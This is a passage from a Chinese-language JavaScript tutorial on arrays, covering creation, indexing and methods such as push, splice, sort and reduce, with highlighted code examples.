class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = []; <span class="comment">// 空数组</span></span><br><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br></pre></td></tr></table></figure><p>数组长度</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line">arr.<span class="property">length</span>; <span class="comment">// 5</span></span><br></pre></td></tr></table></figure><p>访问元素（通过索引访问）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">5</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">1</span>];</span><br><span class="line">arr[<span class="number">0</span>]; <span class="comment">// 5</span></span><br><span class="line">arr[<span class="number">1</span>]; <span class="comment">// 3</span></span><br><span class="line">arr[<span class="number">5</span>]; <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p>数组赋值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 如果下标有对应的值，会把原来的值覆盖，如果下标不存在，会给数组新增一个元素。</span></span><br><span class="line"><span class="keyword">var</span> arr = [<span class="number">3</span>,<span class="number">1</span>,<span class="number">2</span>];</span><br><span class="line">arr[<span class="number">0</span>] = <span class="number">5</span>;</span><br><span class="line">arr; <span class="comment">// [5, 1, 2]</span></span><br><span class="line">arr[<span class="number">3</span>] = <span class="number">6</span>;</span><br><span class="line">arr; <span class="comment">// [5, 1, 2, 6]</span></span><br></pre></td></tr></table></figure><p><strong>通过构造函数创建数组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = <span class="keyword">new</span> <span class="title class_">Array</span>(); <span class="comment">// 空数组</span></span><br><span class="line"><span class="keyword">var</span> arr = <span class="keyword">new</span> <span class="title class_">Array</span>(<span class="number">5</span>); <span class="comment">// 定义了一个长度为5的空数组</span></span><br><span class="line"><span class="keyword">var</span> arr = <span class="keyword">new</span> <span class="title class_">Array</span>(<span class="number">1</span>,<span class="number">2</span>,<span class="number">4</span>,<span class="number">3</span>,<span class="number">5</span>); <span class="comment">// 定义了一个数据为[1,2,3,4,5]的数组</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 能通过构造函数创建，证明数组也是对象</span></span><br><span class="line"><span class="keyword">var</span> arr = <span class="keyword">new</span> <span class="title class_">Array</span>(<span class="number">1</span>,<span class="number">2</span>,<span class="number">4</span>,<span class="number">3</span>,<span class="number">5</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> arr; <span class="comment">// object</span></span><br><span class="line">arr <span class="keyword">instanceof</span> <span class="title class_">Array</span>; <span class="comment">// true</span></span><br><span class="line">arr <span class="keyword">instanceof</span> <span class="title class_">Object</span>; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h3 id="数组方法"><a href="#数组方法" class="headerlink" title="数组方法"></a>数组方法</h3><table><thead><tr><th>序号</th><th>方法</th><th>描述</th></tr></thead><tbody><tr><td>6</td><td>concat()</td><td>连接（合并）两个或更多的数组，并新的数组，<strong>不改变原数组</strong></td></tr><tr><td>7</td><td>reverse()</td><td>反转数组</td></tr><tr><td>8</td><td>splice()</td><td>通过索引删除某个元素，或插入元素</td></tr><tr><td>9</td><td>slice()</td><td>1. 复制一个数组        2.截取数组的的一部分，并返回一个新数组，<strong>不改变原数组</strong></td></tr><tr><td>10</td><td>sort()</td><td>数组排序，<strong>会改变原数组</strong></td></tr><tr><td>11</td><td>reduce()</td><td>将数组元素计算为一个值（从左到右）</td></tr><tr><td>12</td><td>indexOf()</td><td>找出某个元素在数组中的索引，没找到这个元素就返回-1</td></tr><tr><td>13</td><td>valueOf()</td><td>返回数组对象的原始值</td></tr><tr><td>14</td><td>toString()</td><td>把数组转换为字符串，并返回结果</td></tr><tr><td>15</td><td>forEach()</td><td>数组每个元素都执行一次回调函数</td></tr><tr><td>16</td><td>map()</td><td>通过指定函数处理数组的每个元素，并返回处理后的数组      方法返回一个由原数组中的每个元素调用一个指定方法后的返回值组成的新数组，<strong>不改变原数组</strong></td></tr><tr><td>17</td><td>filter()</td><td>过滤数组，并返回符合条件的所有元素组成新的数组，<strong>不改变原数组</strong></td></tr><tr><td>18</td><td>every()</td><td>检测数值元素的每个元素是否都符合条件，<strong>不改变原数组</strong></td></tr><tr><td>19</td><td>some()</td><td>检测数组元素中是否有元素符合指定条件，<strong>不改变原数组</strong></td></tr></tbody></table><p><strong>push()</strong></p><p>向数组末尾添加一个新的元素或更多元素，并返回新的长度</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">push</span>(<span class="number">4</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [1, 2, 3, 4]</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> len = arr.<span class="title function_">push</span>(<span class="number">4</span>, <span class="number">5</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [1, 2, 3, 4, 5]</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(len); <span class="comment">// 5 返回长度</span></span><br></pre></td></tr></table></figure><p><strong>pop()</strong></p><p>删除数组最后一个元素，并返回删除的元素，如果数组为空返回undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">pop</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [1, 2]</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> ele = arr.<span class="title function_">pop</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [1, 2]</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ele); <span class="comment">// 3 返回删除的元素</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [];</span><br><span class="line">arr.<span class="title function_">pop</span>(); <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p><strong>unshift()</strong></p><p>向数组开头添加一个新的元素或更多元素，并返回新的长度</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">unshift</span>(<span class="number">0</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [0, 1, 2, 3]</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> len = arr.<span class="title function_">unshift</span>(<span class="number">6</span>, <span class="number">9</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [6, 9, 1, 2, 3]</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(len); <span class="comment">// 5 返回长度</span></span><br></pre></td></tr></table></figure><p><strong>shift()</strong></p><p>删除数组第一个元素，并返回删除的元素，如果数组为空返回undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">shift</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [2, 3]</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> ele = arr.<span class="title function_">shift</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr); <span class="comment">// [2, 3]</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ele); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [];</span><br><span class="line">arr.<span class="title function_">shift</span>(); <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p><strong>reverse()</strong></p><p>反转数组 【改变原数组】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">reverse</span>();</span><br><span class="line">arr; <span class="comment">// [3, 2, 1]</span></span><br></pre></td></tr></table></figure><p><strong>splice(删除元素的索引,  删除元素数量,  新插入的元素)</strong></p><p>第一个参数是索引，通过索引删除数组元素【改变原数组】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">splice</span>(<span class="number">2</span>);</span><br><span class="line">arr; <span class="comment">// [1, 2]</span></span><br></pre></td></tr></table></figure><p>第二个参数是删除元素个数，如果设置为 0，则不会删除项目</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">splice</span>(<span class="number">0</span>, <span class="number">2</span>);</span><br><span class="line">arr; <span class="comment">// [3]</span></span><br></pre></td></tr></table></figure><p>第三个参数是新插入的元素</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">splice</span>(<span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>);</span><br><span class="line">arr; <span class="comment">// [1, 4, 2, 3]  插入元素</span></span><br></pre></td></tr></table></figure><p><strong>join()</strong></p><p>数组转字符串，【不改变原数组】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"></span><br><span class="line">arr.<span class="title function_">join</span>(<span class="string">&#x27;-&#x27;</span>); <span class="comment">// 1-2-3</span></span><br><span class="line">arr; <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><p><strong>concat()</strong></p><p>连接（合并）两个或更多的数组，并新的数组【不改变原数组】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr1 = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> arr2 = [<span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"><span class="keyword">var</span> a = arr1.<span class="title function_">concat</span>(arr2);</span><br><span class="line">a; <span class="comment">// [1, 2, 3, 3, 4, 5] 必须声明一个变量接受返回数据</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr1 = [<span class="number">1</span>, <span class="number">2</span>];</span><br><span class="line"><span class="keyword">var</span> arr2 = [<span class="number">3</span>, <span class="number">4</span>];</span><br><span class="line"><span class="keyword">var</span> arr3 = [<span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"><span class="keyword">var</span> a = arr1.<span class="title function_">concat</span>(arr2, arr3);</span><br><span class="line">a; <span class="comment">// [1, 2, 3, 4, 5, 6]</span></span><br></pre></td></tr></table></figure><p>ES6语法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr1 = [<span class="number">1</span>, <span class="number">2</span>];</span><br><span class="line"><span class="keyword">var</span> arr2 = [<span class="number">3</span>, <span class="number">4</span>];</span><br><span class="line"><span class="keyword">var</span> arr3 = [<span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"><span class="keyword">var</span> a = [...arr1, ...arr2, ...arr3];</span><br><span class="line">a; <span class="comment">// [1, 2, 3, 4, 5, 6]</span></span><br></pre></td></tr></table></figure><p><strong>slice()</strong></p><p>复制数组【不改变原数组】</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> copyArr = arr.<span class="title function_">slice</span>();</span><br><span class="line">copyArr; <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><p>截取数，两个参数都是索引</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"><span class="keyword">var</span> newArr = arr.<span class="title function_">slice</span>(<span class="number">1</span>, <span class="number">3</span>);</span><br><span class="line">newArr; <span class="comment">// [2, 3]</span></span><br></pre></td></tr></table></figure><p><strong>sort()</strong></p><p>对数字进行排序（推荐）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">3</span>, <span class="number">5</span>];</span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a - b);</span><br><span class="line">arr; <span class="comment">// [1, 2, 3, 4, 5, 6]</span></span><br><span class="line">a; <span class="comment">// [1, 2, 3, 4, 5, 6]</span></span><br></pre></td></tr></table></figure><p>完整写法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">5</span>, <span class="number">3</span>];</span><br><span class="line"></span><br><span class="line">arr.<span class="title function_">sort</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line"><span class="keyword">if</span>(a &gt; b) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span>(a == b) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">arr; <span class="comment">// [1, 2, 3, 5, 6]</span></span><br></pre></td></tr></table></figure><p>对包含对象的数组排序</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [</span><br><span class="line">    &#123;<span class="attr">id</span>: <span class="number">001</span>, <span class="attr">sortNo</span>: <span class="number">2</span>, <span class="attr">name</span>: <span class="string">&#x27;c&#x27;</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">id</span>: <span class="number">002</span>, <span class="attr">sortNo</span>: <span class="number">1</span>, <span class="attr">name</span>: <span class="string">&#x27;a&#x27;</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">id</span>: <span class="number">003</span>, <span class="attr">sortNo</span>: <span class="number">3</span>, <span class="attr">name</span>: <span class="string">&#x27;b&#x27;</span>&#125;</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="comment">// sort by sortNo</span></span><br><span class="line">arr.<span class="title function_">sort</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> (a.<span class="property">sortNo</span> - b.<span class="property">sortNo</span>)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="number">0</span>: &#123;<span class="attr">id</span>: <span class="number">2</span>, <span class="attr">sortNo</span>: <span class="number">1</span>, <span class="attr">name</span>: <span class="string">&quot;a&quot;</span>&#125;</span><br><span class="line"><span class="number">1</span>: &#123;<span class="attr">id</span>: <span class="number">1</span>, <span class="attr">sortNo</span>: <span class="number">2</span>, <span class="attr">name</span>: <span class="string">&quot;c&quot;</span>&#125;</span><br><span class="line"><span class="number">2</span>: &#123;<span class="attr">id</span>: <span class="number">3</span>, <span class="attr">sortNo</span>: <span class="number">3</span>, <span class="attr">name</span>: <span class="string">&quot;b&quot;</span>&#125;</span><br><span class="line"></span><br><span class="line">--------------------------------</span><br><span class="line"></span><br><span class="line"><span class="comment">// sort by name</span></span><br><span class="line">arr.<span class="title function_">sort</span>(<span class="keyword">function</span>(<span class="params">i, j</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> a = i.<span class="property">name</span>.<span class="title function_">toUpperCase</span>();</span><br><span class="line">  <span class="keyword">var</span> b = j.<span class="property">name</span>.<span class="title function_">toUpperCase</span>();</span><br><span class="line">  <span class="keyword">if</span>(a &gt; b) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span>(a &lt; b) &#123;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="number">0</span>: &#123;<span class="attr">id</span>: <span class="number">2</span>, <span class="attr">sortNo</span>: <span class="number">1</span>, <span class="attr">name</span>: <span class="string">&quot;a&quot;</span>&#125;</span><br><span class="line"><span class="number">1</span>: &#123;<span class="attr">id</span>: <span class="number">3</span>, <span class="attr">sortNo</span>: <span class="number">3</span>, <span class="attr">name</span>: <span class="string">&quot;b&quot;</span>&#125;</span><br><span class="line"><span class="number">2</span>: &#123;<span class="attr">id</span>: <span class="number">1</span>, <span class="attr">sortNo</span>: <span class="number">2</span>, <span class="attr">name</span>: <span class="string">&quot;c&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p>示例封装方法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [</span><br><span class="line">    &#123;<span class="attr">id</span>: <span class="number">001</span>, <span class="attr">sortNo</span>: <span class="number">2</span>, <span class="attr">name</span>: <span class="string">&#x27;小二&#x27;</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">id</span>: <span class="number">002</span>, <span class="attr">sortNo</span>: <span class="number">1</span>, <span class="attr">name</span>: <span class="string">&#x27;小一&#x27;</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">id</span>: <span class="number">003</span>, <span class="attr">sortNo</span>: <span class="number">3</span>, <span class="attr">name</span>: <span class="string">&#x27;小三&#x27;</span>&#125;</span><br><span class="line">];</span><br><span class="line">  </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">objArrSort</span>(<span class="params">key</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">function</span>(<span class="params">i, j</span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = i[key];</span><br><span class="line"><span class="keyword">var</span> b = j[key];</span><br><span class="line"><span class="keyword">if</span>(a &gt; b) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">         &#125; <span class="keyword">else</span> <span class="keyword">if</span>(a == b) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">  </span><br><span class="line"><span class="keyword">var</span> sortArr = arr.<span class="title function_">sort</span>(<span class="title function_">objArrSort</span>(<span class="string">&#x27;sortNo&#x27;</span>))</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(sortArr)</span><br><span class="line"></span><br><span class="line"><span class="number">0</span>: &#123;<span class="attr">id</span>: <span class="number">2</span>, <span class="attr">sortNo</span>: <span class="number">1</span>, <span class="attr">name</span>: <span class="string">&quot;小一&quot;</span>&#125;</span><br><span class="line"><span class="number">1</span>: &#123;<span class="attr">id</span>: <span class="number">1</span>, <span class="attr">sortNo</span>: <span class="number">2</span>, <span class="attr">name</span>: <span class="string">&quot;小二&quot;</span>&#125;</span><br><span class="line"><span class="number">2</span>: &#123;<span class="attr">id</span>: <span class="number">3</span>, <span class="attr">sortNo</span>: <span class="number">3</span>, <span class="attr">name</span>: <span class="string">&quot;小三&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p><strong>reduce()</strong></p><p>将数组元素计算为一个值（从左到右）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">arr.<span class="title function_">reduce</span>(callback, [initialValue])</span><br><span class="line"></span><br><span class="line"><span class="title function_">callback</span>(acc, cur, idx, arr) <span class="comment">// (累计器, 当前值, 当前索引, 源数组)</span></span><br><span class="line"></span><br><span class="line">[initialValue] <span class="comment">// 作为第一次调用 callback 的第一个参数</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>]</span><br><span class="line"><span class="keyword">var</span> sum = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">acc, cur, idx, arr</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(acc, cur, idx)</span><br><span class="line">    <span class="keyword">return</span> acc + cur</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr, sum)</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1</span> <span class="number">2</span> <span class="number">1</span></span><br><span class="line"><span class="number">3</span> <span class="number">3</span> <span class="number">2</span></span><br><span class="line"><span class="number">6</span> <span class="number">4</span> <span class="number">3</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>] <span class="number">10</span></span><br></pre></td></tr></table></figure><p>这里可以看出，上面的例子index是从1开始的，第一次的acc的值是数组的第一个值。数组长度是4，但是reduce函数循环3次</p><p>reduce的简单用法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span>  arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>];</span><br><span class="line"><span class="keyword">var</span> sum = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">x, y</span>) =&gt;</span> x + y)</span><br><span class="line"><span class="keyword">var</span> mul = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">x, y</span>) =&gt;</span> x * y)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>( sum ) <span class="comment">// 10 求和</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>( mul ) <span class="comment">// 24 求乘积</span></span><br></pre></td></tr></table></figure><p>reduce的高级用法</p><p>（1）计算数组中每个元素出现的次数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>, <span class="string">&#x27;d&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;b&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">pre, cur</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span>(cur <span class="keyword">in</span> pre)&#123;</span><br><span class="line">    pre[cur]++</span><br><span class="line">  &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    pre[cur] = <span class="number">1</span> </span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> pre</span><br><span class="line">&#125;, &#123;&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a) <span class="comment">// &#123;a: 1, b: 3, c: 1, d: 1&#125;</span></span><br></pre></td></tr></table></figure><p>（2）数组去重</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">3</span>]</span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">pre, cur</span>)=&gt;</span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(!pre.<span class="title function_">includes</span>(cur))&#123;</span><br><span class="line">      <span class="keyword">return</span> pre.<span class="title function_">concat</span>(cur)</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">      <span class="keyword">return</span> pre</span><br><span class="line">    &#125;</span><br><span class="line">&#125;, [])</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a) <span class="comment">// [1, 2, 3, 4]</span></span><br></pre></td></tr></table></figure><p>（3）将二维数组转化为一维</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [[<span class="number">0</span>, <span class="number">1</span>], [<span class="number">2</span>, <span class="number">3</span>], [<span class="number">4</span>, <span class="number">5</span>]]</span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">pre, cur</span>)=&gt;</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> pre.<span class="title function_">concat</span>(cur)</span><br><span class="line">&#125;, [])</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a) <span class="comment">// [0, 1, 2, 3, 4, 5]</span></span><br></pre></td></tr></table></figure><p>（3）将多维数组转化为一维</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [[<span class="number">0</span>, <span class="number">1</span>], [<span class="number">2</span>, <span class="number">3</span>], [<span class="number">4</span>, [<span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>]]]</span><br><span class="line"><span class="keyword">var</span> fn = <span class="keyword">function</span>(<span class="params">arr</span>)&#123;</span><br><span class="line">   <span class="keyword">return</span> arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">pre, cur</span>) =&gt;</span> pre.<span class="title function_">concat</span>(<span class="title class_">Array</span>.<span class="title function_">isArray</span>(cur) ? <span class="title function_">fn</span>(cur) : cur), [])</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">fn</span>(arr)) <span class="comment">// [0, 1, 2, 3, 4, 5, 6, 7]</span></span><br></pre></td></tr></table></figure><p>（4）对象里的属性求和</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [</span><br><span class="line">&#123; <span class="attr">num</span>: <span class="number">2</span>, <span class="attr">price</span>: <span class="number">0.1</span> &#125;,</span><br><span class="line">&#123; <span class="attr">num</span>: <span class="number">3</span>, <span class="attr">price</span>: <span class="number">0.2</span> &#125;,</span><br><span class="line">&#123; <span class="attr">num</span>: <span class="number">1</span>, <span class="attr">price</span>: <span class="number">0.3</span> &#125;</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> sum = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">prev, cur</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> cur.<span class="property">price</span> + prev</span><br><span class="line">&#125;, <span class="number">0</span>)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(sum) <span class="comment">// 0.6000000000000001</span></span><br></pre></td></tr></table></figure><p><strong>indexOf()</strong></p><p>找出某个元素在数组中的索引，没找到这个元素就返回-1</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">indexOf</span>(<span class="number">3</span>); <span class="comment">// 2</span></span><br><span class="line"><span class="keyword">var</span> b = arr.<span class="title function_">indexOf</span>(<span class="number">4</span>); <span class="comment">// -1    没找到这个元素就返回-1，也就是数组不存在这个元素</span></span><br></pre></td></tr></table></figure><p><strong>isArray()</strong></p><p>判断对象是不是数组类型: 两种</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr <span class="keyword">instanceof</span> <span class="title class_">Array</span>); <span class="comment">// true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">Array</span>.<span class="title function_">isArray</span>(arr)); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>forEach()</strong></p><p>遍历数组用，相当于for循环</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span 